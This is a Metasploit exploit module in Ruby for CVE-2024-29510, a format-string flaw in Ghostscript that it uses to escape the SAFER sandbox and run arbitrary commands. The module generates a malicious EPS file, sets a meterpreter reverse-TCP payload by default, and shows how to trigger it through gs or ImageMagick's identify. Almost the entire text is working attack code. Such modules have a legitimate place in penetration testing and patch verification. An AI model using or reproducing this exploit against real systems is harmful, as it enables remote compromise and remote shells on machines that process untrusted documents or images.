Ghostscript Command Execution / Format String

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Ghostscript Command Execution via Format String',        'Description' => %q{          This module exploits a format string vulnerability in Ghostscript          versions before 10.03.1 to achieve a SAFER sandbox bypass and execute          arbitrary commands. This vulnerability is reachable via libraries such as          ImageMagick.          This exploit only works against Ghostscript versions 10.03.0 and          10.01.2. Some offsets adjustement will probably be needed to make it          work with other versions.        },        'Author' => [          'Thomas Rinsma', # Vuln discovery and PoC          'Christophe De La fuente' # Metasploit module        ],        'References' => [          ['CVE', '2024-29510'],          ['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'],          ['URL', 'https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/']        ],        'DisclosureDate' => '2024-03-14',        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux', 'win'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Privileged' => false,        'Targets' => [          [            'Linux Command',            {              'Arch' => ARCH_CMD,              'Platform' => [ 'unix', 'linux' ],              'DefaultOptions' => {                # Payload is not set automatically when selecting this target.                # Select a x64 fetch payload by default.                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'              }            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('FILENAME', [true, 'Output Encapsulated PostScript (EPS) file', 'msf.eps']),      OptInt.new('INDEX_OUT_PTR', [true, 'Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)', 5])    ])  end  def exploit    xploit = template.sub('MSF_PAYLOAD', payload.encoded)    xploit = xploit.sub('MSF_IDXOUTPTR', datastore['INDEX_OUT_PTR'].to_s)    file_create(xploit)    print_good('You will need to start a handler for the selected payload first.')    print_good("Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore['FILENAME']}")    print_good("Example usage with ImageMagick: identify #{datastore['FILENAME']}")  end  def template    xploit = File.read(File.join(      Msf::Config.data_directory, 'exploits', 'CVE-2024-29510', 'ghostscript_format_string.eps'    ))    # Remove comments    xploit.gsub!(/\s*% .+$/, '')    # Remove empty lines and lines with a single %    xploit.gsub(/^%?$\n/, '')  endend